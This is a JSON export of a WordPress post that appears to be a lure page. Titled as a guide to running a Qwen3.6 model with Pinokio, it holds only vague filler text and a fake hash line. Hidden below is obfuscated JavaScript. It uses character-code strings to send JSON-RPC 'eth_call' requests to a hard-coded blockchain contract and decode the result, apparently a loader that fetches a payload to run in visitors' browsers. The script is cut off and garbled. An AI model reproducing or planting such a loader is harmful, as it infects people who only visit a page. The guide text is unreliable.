{"id":2529,"date":"2026-07-09T05:14:28","date_gmt":"2026-07-09T05:14:28","guid":{"rendered":"https:\/\/www.troquelgrafic.com\/?p=2529"},"modified":"2026-07-09T05:14:28","modified_gmt":"2026-07-09T05:14:28","slug":"qwen3-6-35b-a3b-mlx-8bit-using-pinokio","status":"publish","type":"post","link":"https:\/\/www.troquelgrafic.com\/ca\/2026\/07\/09\/qwen3-6-35b-a3b-mlx-8bit-using-pinokio\/","title":{"rendered":"Qwen3.6-35B-A3B-MLX-8bit Using Pinokio"},"content":{"rendered":"

\"Qwen3.6-35B-A3B-MLX-8bit<\/p>\n

The most efficient approach<\/i> for a local installation is leveraging Docker containers<\/b>.<\/p>\n

Follow the straightforward<\/i> walkthrough<\/b> provided below.<\/p>\n

<\/p>\n

The setup auto-streams the model assets (expect a multi-GB download).<\/i><\/p>\n

<\/p>\n

Without any user input, the software calibrates parameters for optimal hardware usage<\/b>.<\/p>\n\n\n
\n
\n
\ud83d\udcce HASH: ac4c59e77f1ae090ef50e646819c4af5 | Updated:<\/span> 2026-07-04<\/div>\n\n\n
Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n
<\/canvas>